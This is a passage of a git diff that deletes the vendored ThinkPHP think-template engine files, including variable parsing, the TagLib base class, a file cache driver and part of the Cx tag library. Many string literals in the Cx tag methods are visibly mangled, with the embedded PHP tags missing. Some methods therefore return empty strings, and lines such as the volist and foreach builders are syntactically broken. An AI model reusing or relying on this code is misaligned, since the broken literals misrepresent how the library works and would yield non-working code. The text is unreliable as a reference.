请求变量解析 - * 格式 以 $Request. 打头的变量属于请求变量 - * @access public - * @param array $vars 变量数组 - * @return string - */ - public function parseRequestVar(array $vars): string - { - $type = strtoupper(trim(array_shift($vars))); - $param = implode('.', $vars); - - switch ($type) { - case 'SERVER': - $parseStr = '$_SERVER[\'' . $param . '\']'; - break; - case 'GET': - $parseStr = '$_GET[\'' . $param . '\']'; - break; - case 'POST': - $parseStr = '$_POST[\'' . $param . '\']'; - break; - case 'COOKIE': - $parseStr = '$_COOKIE[\'' . $param . '\']'; - break; - case 'SESSION': - $parseStr = '$_SESSION[\'' . $param . '\']'; - break; - case 'ENV': - $parseStr = '$_ENV[\'' . $param . '\']'; - break; - case 'REQUEST': - $parseStr = '$_REQUEST[\'' . $param . '\']'; - break; - default: - $parseStr = '\'\''; - } - - return $parseStr; - } - - /** - * 特殊模板变量解析 - * 格式 以 $Think. 打头的变量属于特殊模板变量 - * @access public - * @param array $vars 变量数组 - * @return string - */ - public function parseThinkVar(array $vars): string - { - $type = strtoupper(trim(array_shift($vars))); - $param = implode('.', $vars); - - switch ($type) { - case 'CONST': - $parseStr = strtoupper($param); - break; - case 'NOW': - $parseStr = "date('Y-m-d g:i a',time())"; - break; - case 'LDELIM': - $parseStr = '\'' . ltrim($this->config['tpl_begin'], '\\') . '\''; - break; - case 'RDELIM': - $parseStr = '\'' . ltrim($this->config['tpl_end'], '\\') . '\''; - break; - default: - $parseStr = defined($type) ? $type : '\'\''; - } - - return $parseStr; - } - - /** - * 分析加载的模板文件并读取内容 支持多个模板文件读取 - * @access private - * @param string $templateName 模板文件名 - * @return string - */ - private function parseTemplateName(string $templateName): string - { - $array = explode(',', $templateName); - $parseStr = ''; - - foreach ($array as $templateName) { - if (empty($templateName)) { - continue; - } - - if (0 === strpos($templateName, '$')) { - //支持加载变量文件名 - $templateName = $this->get(substr($templateName, 1)); - } - - $template = $this->parseTemplateFile($templateName); - - if ($template) { - // 获取模板文件内容 - $parseStr .= file_get_contents($template); - } - } - - return $parseStr; - } - - /** - * 解析模板文件名 - * @access private - * @param string $template 文件名 - * @return string - */ - private function parseTemplateFile(string $template): string - { - if ('' == pathinfo($template, PATHINFO_EXTENSION)) { - - if (0 !== strpos($template, '/')) { - $template = str_replace(['/', ':'], $this->config['view_depr'], $template); - } else { - $template = str_replace(['/', ':'], $this->config['view_depr'], substr($template, 1)); - } - - $template = $this->config['view_path'] . $template . '.' . ltrim($this->config['view_suffix'], '.'); - } - - if (is_file($template)) { - // 记录模板文件的更新时间 - $this->includeFile[$template] = filemtime($template); - - return $template; - } - - throw new Exception('template not exists:' . $template); - } - - /** - * 按标签生成正则 - * @access private - * @param string $tagName 标签名 - * @return string - */ - private function getRegex(string $tagName): string - { - $regex = ''; - if ('tag' == $tagName) { - $begin = $this->config['tpl_begin']; - $end = $this->config['tpl_end']; - - if (strlen(ltrim($begin, '\\')) == 1 && strlen(ltrim($end, '\\')) == 1) { - $regex = $begin . '((?:[\$]{1,2}[a-wA-w_]|[\:\~][\$a-wA-w_]|[+]{2}[\$][a-wA-w_]|[-]{2}[\$][a-wA-w_]|\/[\*\/])(?>[^' . $end . ']*))' . $end; - } else { - $regex = $begin . '((?:[\$]{1,2}[a-wA-w_]|[\:\~][\$a-wA-w_]|[+]{2}[\$][a-wA-w_]|[-]{2}[\$][a-wA-w_]|\/[\*\/])(?>(?:(?!' . $end . ').)*))' . $end; - } - } else { - $begin = $this->config['taglib_begin']; - $end = $this->config['taglib_end']; - $single = strlen(ltrim($begin, '\\')) == 1 && strlen(ltrim($end, '\\')) == 1 ? true : false; - - switch ($tagName) { - case 'block': - if ($single) { - $regex = $begin . '(?:' . $tagName . '\b\s+(?>(?:(?!name=).)*)\bname=([\'\"])(?P[\$\w\-\/\.]+)\\1(?>[^' . $end . ']*)|\/' . $tagName . ')' . $end; - } else { - $regex = $begin . '(?:' . $tagName . '\b\s+(?>(?:(?!name=).)*)\bname=([\'\"])(?P[\$\w\-\/\.]+)\\1(?>(?:(?!' . $end . ').)*)|\/' . $tagName . ')' . $end; - } - break; - case 'literal': - if ($single) { - $regex = '(' . $begin . $tagName . '\b(?>[^' . $end . ']*)' . $end . ')'; - $regex .= '(?:(?>[^' . $begin . ']*)(?>(?!' . $begin . '(?>' . $tagName . '\b[^' . $end . ']*|\/' . $tagName . ')' . $end . ')' . $begin . '[^' . $begin . ']*)*)'; - $regex .= '(' . $begin . '\/' . $tagName . $end . ')'; - } else { - $regex = '(' . $begin . $tagName . '\b(?>(?:(?!' . $end . ').)*)' . $end . ')'; - $regex .= '(?:(?>(?:(?!' . $begin . ').)*)(?>(?!' . $begin . '(?>' . $tagName . '\b(?>(?:(?!' . $end . ').)*)|\/' . $tagName . ')' . $end . ')' . $begin . '(?>(?:(?!' . $begin . ').)*))*)'; - $regex .= '(' . $begin . '\/' . $tagName . $end . ')'; - } - break; - case 'restoreliteral': - $regex = ''; - break; - case 'include': - $name = 'file'; - case 'taglib': - case 'layout': - case 'extend': - if (empty($name)) { - $name = 'name'; - } - if ($single) { - $regex = $begin . $tagName . '\b\s+(?>(?:(?!' . $name . '=).)*)\b' . $name . '=([\'\"])(?P[\$\w\-\/\.\:@,\\\\]+)\\1(?>[^' . $end . ']*)' . $end; - } else { - $regex = $begin . $tagName . '\b\s+(?>(?:(?!' . $name . '=).)*)\b' . $name . '=([\'\"])(?P[\$\w\-\/\.\:@,\\\\]+)\\1(?>(?:(?!' . $end . ').)*)' . $end; - } - break; - } - } - - return '/' . $regex . '/is'; - } - - public function __debugInfo() - { - $data = get_object_vars($this); - unset($data['storage']); - - return $data; - } -} diff --git a/vendor/topthink/think-template/src/facade/Template.php b/vendor/topthink/think-template/src/facade/Template.php deleted file mode 100644 index 665a180..0000000 --- a/vendor/topthink/think-template/src/facade/Template.php +++ /dev/null @@ -1,83 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\facade; - -if (class_exists('think\Facade')) { - class Facade extends \think\Facade - {} -} else { - class Facade - { - /** - * 始终创建新的对象实例 - * @var bool - */ - protected static $alwaysNewInstance; - - protected static $instance; - - /** - * 获取当前Facade对应类名 - * @access protected - * @return string - */ - protected static function getFacadeClass() - {} - - /** - * 创建Facade实例 - * @static - * @access protected - * @return object - */ - protected static function createFacade() - { - $class = static::getFacadeClass() ?: 'think\Template'; - - if (static::$alwaysNewInstance) { - return new $class(); - } - - if (!self::$instance) { - self::$instance = new $class(); - } - - return self::$instance; - - } - - // 调用实际类的方法 - public static function __callStatic($method, $params) - { - return call_user_func_array([static::createFacade(), $method], $params); - } - } -} - -/** - * @see \think\Template - * @mixin \think\Template - */ -class Template extends Facade -{ - protected static $alwaysNewInstance = true; - - /** - * 获取当前Facade对应类名(或者已经绑定的容器对象标识) - * @access protected - * @return string - */ - protected static function getFacadeClass() - { - return 'think\Template'; - } -} diff --git a/vendor/topthink/think-template/src/template/TagLib.php b/vendor/topthink/think-template/src/template/TagLib.php deleted file mode 100644 index f6c8fbb..0000000 --- a/vendor/topthink/think-template/src/template/TagLib.php +++ /dev/null @@ -1,349 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\template; - -use Exception; -use think\Template; - -/** - * ThinkPHP标签库TagLib解析基类 - * @category Think - * @package Think - * @subpackage Template - * @author liu21st - */ -class TagLib -{ - - /** - * 标签库定义XML文件 - * @var string - * @access protected - */ - protected $xml = ''; - protected $tags = []; // 标签定义 - /** - * 标签库名称 - * @var string - * @access protected - */ - protected $tagLib = ''; - - /** - * 标签库标签列表 - * @var array - * @access protected - */ - protected $tagList = []; - - /** - * 标签库分析数组 - * @var array - * @access protected - */ - protected $parse = []; - - /** - * 标签库是否有效 - * @var bool - * @access protected - */ - protected $valid = false; - - /** - * 当前模板对象 - * @var object - * @access protected - */ - protected $tpl; - - protected $comparison = [' nheq ' => ' !== ', ' heq ' => ' === ', ' neq ' => ' != ', ' eq ' => ' == ', ' egt ' => ' >= ', ' gt ' => ' > ', ' elt ' => ' <= ', ' lt ' => ' < ']; - - /** - * 架构函数 - * @access public - * @param Template $template 模板引擎对象 - */ - public function __construct(Template $template) - { - $this->tpl = $template; - } - - /** - * 按签标库替换页面中的标签 - * @access public - * @param string $content 模板内容 - * @param string $lib 标签库名 - * @return void - */ - public function parseTag(string &$content, string $lib = ''): void - { - $tags = []; - $lib = $lib ? strtolower($lib) . ':' : ''; - - foreach ($this->tags as $name => $val) { - $close = !isset($val['close']) || $val['close'] ? 1 : 0; - $tags[$close][$lib . $name] = $name; - if (isset($val['alias'])) { - // 别名设置 - $array = (array) $val['alias']; - foreach (explode(',', $array[0]) as $v) { - $tags[$close][$lib . $v] = $name; - } - } - } - - // 闭合标签 - if (!empty($tags[1])) { - $nodes = []; - $regex = $this->getRegex(array_keys($tags[1]), 1); - if (preg_match_all($regex, $content, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) { - $right = []; - foreach ($matches as $match) { - if ('' == $match[1][0]) { - $name = strtolower($match[2][0]); - // 如果有没闭合的标签头则取出最后一个 - if (!empty($right[$name])) { - // $match[0][1]为标签结束符在模板中的位置 - $nodes[$match[0][1]] = [ - 'name' => $name, - 'begin' => array_pop($right[$name]), // 标签开始符 - 'end' => $match[0], // 标签结束符 - ]; - } - } else { - // 标签头压入栈 - $right[strtolower($match[1][0])][] = $match[0]; - } - } - unset($right, $matches); - // 按标签在模板中的位置从后向前排序 - krsort($nodes); - } - - $break = ''; - if ($nodes) { - $beginArray = []; - // 标签替换 从后向前 - foreach ($nodes as $pos => $node) { - // 对应的标签名 - $name = $tags[1][$node['name']]; - $alias = $lib . $name != $node['name'] ? ($lib ? strstr($node['name'], $lib) : $node['name']) : ''; - - // 解析标签属性 - $attrs = $this->parseAttr($node['begin'][0], $name, $alias); - $method = 'tag' . $name; - - // 读取标签库中对应的标签内容 replace[0]用来替换标签头,replace[1]用来替换标签尾 - $replace = explode($break, $this->$method($attrs, $break)); - - if (count($replace) > 1) { - while ($beginArray) { - $begin = end($beginArray); - // 判断当前标签尾的位置是否在栈中最后一个标签头的后面,是则为子标签 - if ($node['end'][1] > $begin['pos']) { - break; - } else { - // 不为子标签时,取出栈中最后一个标签头 - $begin = array_pop($beginArray); - // 替换标签头部 - $content = substr_replace($content, $begin['str'], $begin['pos'], $begin['len']); - } - } - // 替换标签尾部 - $content = substr_replace($content, $replace[1], $node['end'][1], strlen($node['end'][0])); - // 把标签头压入栈 - $beginArray[] = ['pos' => $node['begin'][1], 'len' => strlen($node['begin'][0]), 'str' => $replace[0]]; - } - } - - while ($beginArray) { - $begin = array_pop($beginArray); - // 替换标签头部 - $content = substr_replace($content, $begin['str'], $begin['pos'], $begin['len']); - } - } - } - // 自闭合标签 - if (!empty($tags[0])) { - $regex = $this->getRegex(array_keys($tags[0]), 0); - $content = preg_replace_callback($regex, function ($matches) use (&$tags, &$lib) { - // 对应的标签名 - $name = $tags[0][strtolower($matches[1])]; - $alias = $lib . $name != $matches[1] ? ($lib ? strstr($matches[1], $lib) : $matches[1]) : ''; - // 解析标签属性 - $attrs = $this->parseAttr($matches[0], $name, $alias); - $method = 'tag' . $name; - return $this->$method($attrs, ''); - }, $content); - } - } - - /** - * 按标签生成正则 - * @access public - * @param array|string $tags 标签名 - * @param boolean $close 是否为闭合标签 - * @return string - */ - public function getRegex($tags, bool $close): string - { - $begin = $this->tpl->getConfig('taglib_begin'); - $end = $this->tpl->getConfig('taglib_end'); - $single = strlen(ltrim($begin, '\\')) == 1 && strlen(ltrim($end, '\\')) == 1 ? true : false; - $tagName = is_array($tags) ? implode('|', $tags) : $tags; - - if ($single) { - if ($close) { - // 如果是闭合标签 - $regex = $begin . '(?:(' . $tagName . ')\b(?>[^' . $end . ']*)|\/(' . $tagName . '))' . $end; - } else { - $regex = $begin . '(' . $tagName . ')\b(?>[^' . $end . ']*)' . $end; - } - } else { - if ($close) { - // 如果是闭合标签 - $regex = $begin . '(?:(' . $tagName . ')\b(?>(?:(?!' . $end . ').)*)|\/(' . $tagName . '))' . $end; - } else { - $regex = $begin . '(' . $tagName . ')\b(?>(?:(?!' . $end . ').)*)' . $end; - } - } - - return '/' . $regex . '/is'; - } - - /** - * 分析标签属性 正则方式 - * @access public - * @param string $str 标签属性字符串 - * @param string $name 标签名 - * @param string $alias 别名 - * @return array - */ - public function parseAttr(string $str, string $name, string $alias = ''): array - { - $regex = '/\s+(?>(?P[\w-]+)\s*)=(?>\s*)([\"\'])(?P(?:(?!\\2).)*)\\2/is'; - $result = []; - - if (preg_match_all($regex, $str, $matches)) { - foreach ($matches['name'] as $key => $val) { - $result[$val] = $matches['value'][$key]; - } - - if (!isset($this->tags[$name])) { - // 检测是否存在别名定义 - foreach ($this->tags as $key => $val) { - if (isset($val['alias'])) { - $array = (array) $val['alias']; - if (in_array($name, explode(',', $array[0]))) { - $tag = $val; - $type = !empty($array[1]) ? $array[1] : 'type'; - $result[$type] = $name; - break; - } - } - } - } else { - $tag = $this->tags[$name]; - // 设置了标签别名 - if (!empty($alias) && isset($tag['alias'])) { - $type = !empty($tag['alias'][1]) ? $tag['alias'][1] : 'type'; - $result[$type] = $alias; - } - } - - if (!empty($tag['must'])) { - $must = explode(',', $tag['must']); - foreach ($must as $name) { - if (!isset($result[$name])) { - throw new Exception('tag attr must:' . $name); - } - } - } - } else { - // 允许直接使用表达式的标签 - if (!empty($this->tags[$name]['expression'])) { - static $_taglibs; - if (!isset($_taglibs[$name])) { - $_taglibs[$name][0] = strlen($this->tpl->getConfig('taglib_begin_origin') . $name); - $_taglibs[$name][1] = strlen($this->tpl->getConfig('taglib_end_origin')); - } - $result['expression'] = substr($str, $_taglibs[$name][0], -$_taglibs[$name][1]); - // 清除自闭合标签尾部/ - $result['expression'] = rtrim($result['expression'], '/'); - $result['expression'] = trim($result['expression']); - } elseif (empty($this->tags[$name]) || !empty($this->tags[$name]['attr'])) { - throw new Exception('tag error:' . $name); - } - } - - return $result; - } - - /** - * 解析条件表达式 - * @access public - * @param string $condition 表达式标签内容 - * @return string - */ - public function parseCondition(string $condition): string - { - if (strpos($condition, ':')) { - $condition = ' ' . substr(strstr($condition, ':'), 1); - } - - $condition = str_ireplace(array_keys($this->comparison), array_values($this->comparison), $condition); - $this->tpl->parseVar($condition); - - return $condition; - } - - /** - * 自动识别构建变量 - * @access public - * @param string $name 变量描述 - * @return string - */ - public function autoBuildVar(string &$name): string - { - $flag = substr($name, 0, 1); - - if (':' == $flag) { - // 以:开头为函数调用,解析前去掉: - $name = substr($name, 1); - } elseif ('$' != $flag && preg_match('/[a-zA-Z_]/', $flag)) { - // XXX: 这句的写法可能还需要改进 - // 常量不需要解析 - if (defined($name)) { - return $name; - } - - // 不以$开头并且也不是常量,自动补上$前缀 - $name = '$' . $name; - } - - $this->tpl->parseVar($name); - $this->tpl->parseVarFunction($name, false); - - return $name; - } - - /** - * 获取标签列表 - * @access public - * @return array - */ - public function getTags(): array - { - return $this->tags; - } -} diff --git a/vendor/topthink/think-template/src/template/driver/File.php b/vendor/topthink/think-template/src/template/driver/File.php deleted file mode 100644 index 510d10a..0000000 --- a/vendor/topthink/think-template/src/template/driver/File.php +++ /dev/null @@ -1,83 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\template\driver; - -use Exception; - -class File -{ - protected $cacheFile; - - /** - * 写入编译缓存 - * @access public - * @param string $cacheFile 缓存的文件名 - * @param string $content 缓存的内容 - * @return void - */ - public function write(string $cacheFile, string $content): void - { - // 检测模板目录 - $dir = dirname($cacheFile); - - if (!is_dir($dir)) { - mkdir($dir, 0755, true); - } - - // 生成模板缓存文件 - if (false === file_put_contents($cacheFile, $content)) { - throw new Exception('cache write error:' . $cacheFile, 11602); - } - } - - /** - * 读取编译编译 - * @access public - * @param string $cacheFile 缓存的文件名 - * @param array $vars 变量数组 - * @return void - */ - public function read(string $cacheFile, array $vars = []): void - { - $this->cacheFile = $cacheFile; - - if (!empty($vars) && is_array($vars)) { - // 模板阵列变量分解成为独立变量 - extract($vars, EXTR_OVERWRITE); - } - - //载入模版缓存文件 - include $this->cacheFile; - } - - /** - * 检查编译缓存是否有效 - * @access public - * @param string $cacheFile 缓存的文件名 - * @param int $cacheTime 缓存时间 - * @return bool - */ - public function check(string $cacheFile, int $cacheTime): bool - { - // 缓存文件不存在, 直接返回false - if (!file_exists($cacheFile)) { - return false; - } - - if (0 != $cacheTime && time() > filemtime($cacheFile) + $cacheTime) { - // 缓存是否在有效期 - return false; - } - - return true; - } -} diff --git a/vendor/topthink/think-template/src/template/exception/TemplateNotFoundException.php b/vendor/topthink/think-template/src/template/exception/TemplateNotFoundException.php deleted file mode 100644 index dd88b32..0000000 --- a/vendor/topthink/think-template/src/template/exception/TemplateNotFoundException.php +++ /dev/null @@ -1,33 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\template\exception; - -class TemplateNotFoundException extends \RuntimeException -{ - protected $template; - - public function __construct(string $message, string $template = '') - { - $this->message = $message; - $this->template = $template; - } - - /** - * 获取模板文件 - * @access public - * @return string - */ - public function getTemplate(): string - { - return $this->template; - } -} diff --git a/vendor/topthink/think-template/src/template/taglib/Cx.php b/vendor/topthink/think-template/src/template/taglib/Cx.php deleted file mode 100644 index bccafc1..0000000 --- a/vendor/topthink/think-template/src/template/taglib/Cx.php +++ /dev/null @@ -1,715 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\template\taglib; - -use think\template\TagLib; - -/** - * CX标签库解析类 - * @category Think - * @package Think - * @subpackage Driver.Taglib - * @author liu21st - */ -class Cx extends Taglib -{ - - // 标签定义 - protected $tags = [ - // 标签定义: attr 属性列表 close 是否闭合(0 或者1 默认1) alias 标签别名 level 嵌套层次 - 'php' => ['attr' => ''], - 'volist' => ['attr' => 'name,id,offset,length,key,mod', 'alias' => 'iterate'], - 'foreach' => ['attr' => 'name,id,item,key,offset,length,mod', 'expression' => true], - 'if' => ['attr' => 'condition', 'expression' => true], - 'elseif' => ['attr' => 'condition', 'close' => 0, 'expression' => true], - 'else' => ['attr' => '', 'close' => 0], - 'switch' => ['attr' => 'name', 'expression' => true], - 'case' => ['attr' => 'value,break', 'expression' => true], - 'default' => ['attr' => '', 'close' => 0], - 'compare' => ['attr' => 'name,value,type', 'alias' => ['eq,equal,notequal,neq,gt,lt,egt,elt,heq,nheq', 'type']], - 'range' => ['attr' => 'name,value,type', 'alias' => ['in,notin,between,notbetween', 'type']], - 'empty' => ['attr' => 'name'], - 'notempty' => ['attr' => 'name'], - 'present' => ['attr' => 'name'], - 'notpresent' => ['attr' => 'name'], - 'defined' => ['attr' => 'name'], - 'notdefined' => ['attr' => 'name'], - 'load' => ['attr' => 'file,href,type,value,basepath', 'close' => 0, 'alias' => ['import,css,js', 'type']], - 'assign' => ['attr' => 'name,value', 'close' => 0], - 'define' => ['attr' => 'name,value', 'close' => 0], - 'for' => ['attr' => 'start,end,name,comparison,step'], - 'url' => ['attr' => 'link,vars,suffix,domain', 'close' => 0, 'expression' => true], - 'function' => ['attr' => 'name,vars,use,call'], - ]; - - /** - * php标签解析 - * 格式: - * {php}echo $name{/php} - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagPhp(array $tag, string $content): string - { - $parseStr = ''; - return $parseStr; - } - - /** - * volist标签解析 循环输出数据集 - * 格式: - * {volist name="userList" id="user" empty=""} - * {user.username} - * {user.email} - * {/volist} - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagVolist(array $tag, string $content): string - { - $name = $tag['name']; - $id = $tag['id']; - $empty = isset($tag['empty']) ? $tag['empty'] : ''; - $key = !empty($tag['key']) ? $tag['key'] : 'i'; - $mod = isset($tag['mod']) ? $tag['mod'] : '2'; - $offset = !empty($tag['offset']) && is_numeric($tag['offset']) ? intval($tag['offset']) : 0; - $length = !empty($tag['length']) && is_numeric($tag['length']) ? intval($tag['length']) : 'null'; - // 允许使用函数设定数据集 {$vo.name} - $parseStr = 'autoBuildVar($name); - $parseStr .= '$_result=' . $name . ';'; - $name = '$_result'; - } else { - $name = $this->autoBuildVar($name); - } - - $parseStr .= 'if(is_array(' . $name . ') || ' . $name . ' instanceof \think\Collection || ' . $name . ' instanceof \think\Paginator): $' . $key . ' = 0;'; - - // 设置了输出数组长度 - if (0 != $offset || 'null' != $length) { - $parseStr .= '$__LIST__ = is_array(' . $name . ') ? array_slice(' . $name . ',' . $offset . ',' . $length . ', true) : ' . $name . '->slice(' . $offset . ',' . $length . ', true); '; - } else { - $parseStr .= ' $__LIST__ = ' . $name . ';'; - } - - $parseStr .= 'if( count($__LIST__)==0 ) : echo "' . $empty . '" ;'; - $parseStr .= 'else: '; - $parseStr .= 'foreach($__LIST__ as $key=>$' . $id . '): '; - $parseStr .= '$mod = ($' . $key . ' % ' . $mod . ' );'; - $parseStr .= '++$' . $key . ';?>'; - $parseStr .= $content; - $parseStr .= ''; - - return $parseStr; - } - - /** - * foreach标签解析 循环输出数据集 - * 格式: - * {foreach name="userList" id="user" key="key" index="i" mod="2" offset="3" length="5" empty=""} - * {user.username} - * {/foreach} - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagForeach(array $tag, string $content): string - { - // 直接使用表达式 - if (!empty($tag['expression'])) { - $expression = ltrim(rtrim($tag['expression'], ')'), '('); - $expression = $this->autoBuildVar($expression); - $parseStr = ''; - $parseStr .= $content; - $parseStr .= ''; - return $parseStr; - } - - $name = $tag['name']; - $key = !empty($tag['key']) ? $tag['key'] : 'key'; - $item = !empty($tag['id']) ? $tag['id'] : $tag['item']; - $empty = isset($tag['empty']) ? $tag['empty'] : ''; - $offset = !empty($tag['offset']) && is_numeric($tag['offset']) ? intval($tag['offset']) : 0; - $length = !empty($tag['length']) && is_numeric($tag['length']) ? intval($tag['length']) : 'null'; - - $parseStr = 'autoBuildVar($name); - $parseStr .= $var . '=' . $name . '; '; - $name = $var; - } else { - $name = $this->autoBuildVar($name); - } - - $parseStr .= 'if(is_array(' . $name . ') || ' . $name . ' instanceof \think\Collection || ' . $name . ' instanceof \think\Paginator): '; - - // 设置了输出数组长度 - if (0 != $offset || 'null' != $length) { - if (!isset($var)) { - $var = '$_' . uniqid(); - } - $parseStr .= $var . ' = is_array(' . $name . ') ? array_slice(' . $name . ',' . $offset . ',' . $length . ', true) : ' . $name . '->slice(' . $offset . ',' . $length . ', true); '; - } else { - $var = &$name; - } - - $parseStr .= 'if( count(' . $var . ')==0 ) : echo "' . $empty . '" ;'; - $parseStr .= 'else: '; - - // 设置了索引项 - if (isset($tag['index'])) { - $index = $tag['index']; - $parseStr .= '$' . $index . '=0; '; - } - - $parseStr .= 'foreach(' . $var . ' as $' . $key . '=>$' . $item . '): '; - - // 设置了索引项 - if (isset($tag['index'])) { - $index = $tag['index']; - if (isset($tag['mod'])) { - $mod = (int) $tag['mod']; - $parseStr .= '$mod = ($' . $index . ' % ' . $mod . '); '; - } - $parseStr .= '++$' . $index . '; '; - } - - $parseStr .= '?>'; - // 循环体中的内容 - $parseStr .= $content; - $parseStr .= ''; - - return $parseStr; - } - - /** - * if标签解析 - * 格式: - * {if condition=" $a eq 1"} - * {elseif condition="$a eq 2" /} - * {else /} - * {/if} - * 表达式支持 eq neq gt egt lt elt == > >= < <= or and || && - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagIf(array $tag, string $content): string - { - $condition = !empty($tag['expression']) ? $tag['expression'] : $tag['condition']; - $condition = $this->parseCondition($condition); - $parseStr = '' . $content . ''; - - return $parseStr; - } - - /** - * elseif标签解析 - * 格式:见if标签 - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagElseif(array $tag, string $content): string - { - $condition = !empty($tag['expression']) ? $tag['expression'] : $tag['condition']; - $condition = $this->parseCondition($condition); - $parseStr = ''; - - return $parseStr; - } - - /** - * else标签解析 - * 格式:见if标签 - * @access public - * @param array $tag 标签属性 - * @return string - */ - public function tagElse(array $tag): string - { - $parseStr = ''; - - return $parseStr; - } - - /** - * switch标签解析 - * 格式: - * {switch name="a.name"} - * {case value="1" break="false"}1{/case} - * {case value="2" }2{/case} - * {default /}other - * {/switch} - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagSwitch(array $tag, string $content): string - { - $name = !empty($tag['expression']) ? $tag['expression'] : $tag['name']; - $name = $this->autoBuildVar($name); - $parseStr = '' . $content . ''; - - return $parseStr; - } - - /** - * case标签解析 需要配合switch才有效 - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagCase(array $tag, string $content): string - { - $value = isset($tag['expression']) ? $tag['expression'] : $tag['value']; - $flag = substr($value, 0, 1); - - if ('$' == $flag || ':' == $flag) { - $value = $this->autoBuildVar($value); - $value = 'case ' . $value . ':'; - } elseif (strpos($value, '|')) { - $values = explode('|', $value); - $value = ''; - foreach ($values as $val) { - $value .= 'case "' . addslashes($val) . '":'; - } - } else { - $value = 'case "' . $value . '":'; - } - - $parseStr = '' . $content; - $isBreak = isset($tag['break']) ? $tag['break'] : ''; - - if ('' == $isBreak || $isBreak) { - $parseStr .= ''; - } - - return $parseStr; - } - - /** - * default标签解析 需要配合switch才有效 - * 使用: {default /}ddfdf - * @access public - * @param array $tag 标签属性 - * @return string - */ - public function tagDefault(array $tag): string - { - $parseStr = ''; - - return $parseStr; - } - - /** - * compare标签解析 - * 用于值的比较 支持 eq neq gt lt egt elt heq nheq 默认是eq - * 格式: {compare name="" type="eq" value="" }content{/compare} - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagCompare(array $tag, string $content): string - { - $name = $tag['name']; - $value = $tag['value']; - $type = isset($tag['type']) ? $tag['type'] : 'eq'; // 比较类型 - $name = $this->autoBuildVar($name); - $flag = substr($value, 0, 1); - - if ('$' == $flag || ':' == $flag) { - $value = $this->autoBuildVar($value); - } else { - $value = '\'' . $value . '\''; - } - - switch ($type) { - case 'equal': - $type = 'eq'; - break; - case 'notequal': - $type = 'neq'; - break; - } - $type = $this->parseCondition(' ' . $type . ' '); - $parseStr = '' . $content . ''; - - return $parseStr; - } - - /** - * range标签解析 - * 如果某个变量存在于某个范围 则输出内容 type= in 表示在范围内 否则表示在范围外 - * 格式: {range name="var|function" value="val" type='in|notin' }content{/range} - * example: {range name="a" value="1,2,3" type='in' }content{/range} - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagRange(array $tag, string $content): string - { - $name = $tag['name']; - $value = $tag['value']; - $type = isset($tag['type']) ? $tag['type'] : 'in'; // 比较类型 - - $name = $this->autoBuildVar($name); - $flag = substr($value, 0, 1); - - if ('$' == $flag || ':' == $flag) { - $value = $this->autoBuildVar($value); - $str = 'is_array(' . $value . ')?' . $value . ':explode(\',\',' . $value . ')'; - } else { - $value = '"' . $value . '"'; - $str = 'explode(\',\',' . $value . ')'; - } - - if ('between' == $type) { - $parseStr = '= $_RANGE_VAR_[0] && ' . $name . '<= $_RANGE_VAR_[1]):?>' . $content . ''; - } elseif ('notbetween' == $type) { - $parseStr = '$_RANGE_VAR_[1]):?>' . $content . ''; - } else { - $fun = ('in' == $type) ? 'in_array' : '!in_array'; - $parseStr = '' . $content . ''; - } - - return $parseStr; - } - - /** - * present标签解析 - * 如果某个变量已经设置 则输出内容 - * 格式: {present name="" }content{/present} - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagPresent(array $tag, string $content): string - { - $name = $tag['name']; - $name = $this->autoBuildVar($name); - $parseStr = '' . $content . ''; - - return $parseStr; - } - - /** - * notpresent标签解析 - * 如果某个变量没有设置,则输出内容 - * 格式: {notpresent name="" }content{/notpresent} - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagNotpresent(array $tag, string $content): string - { - $name = $tag['name']; - $name = $this->autoBuildVar($name); - $parseStr = '' . $content . ''; - - return $parseStr; - } - - /** - * empty标签解析 - * 如果某个变量为empty 则输出内容 - * 格式: {empty name="" }content{/empty} - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagEmpty(array $tag, string $content): string - { - $name = $tag['name']; - $name = $this->autoBuildVar($name); - $parseStr = 'isEmpty())): ?>' . $content . ''; - - return $parseStr; - } - - /** - * notempty标签解析 - * 如果某个变量不为empty 则输出内容 - * 格式: {notempty name="" }content{/notempty} - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagNotempty(array $tag, string $content): string - { - $name = $tag['name']; - $name = $this->autoBuildVar($name); - $parseStr = 'isEmpty()))): ?>' . $content . ''; - - return $parseStr; - } - - /** - * 判断是否已经定义了该常量 - * {defined name='TXT'}已定义{/defined} - * @access public - * @param array $tag - * @param string $content - * @return string - */ - public function tagDefined(array $tag, string $content): string - { - $name = $tag['name']; - $parseStr = '' . $content . ''; - - return $parseStr; - } - - /** - * 判断是否没有定义了该常量 - * {notdefined name='TXT'}已定义{/notdefined} - * @access public - * @param array $tag - * @param string $content - * @return string - */ - public function tagNotdefined(array $tag, string $content): string - { - $name = $tag['name']; - $parseStr = '' . $content . ''; - - return $parseStr; - } - - /** - * load 标签解析 {load file="/static/js/base.js" /} - * 格式:{load file="/static/css/base.css" /} - * @access public - * @param array $tag 标签属性 - * @param string $content 标签内容 - * @return string - */ - public function tagLoad(array $tag, string $content): string - { - $file = isset($tag['file']) ? $tag['file'] : $tag['href']; - $type = isset($tag['type']) ? strtolower($tag['type']) : ''; - - $parseStr = ''; - $endStr = ''; - - // 判断是否存在加载条件 允许使用函数判断(默认为isset) - if (isset($tag['value'])) { - $name = $tag['value']; - $name = 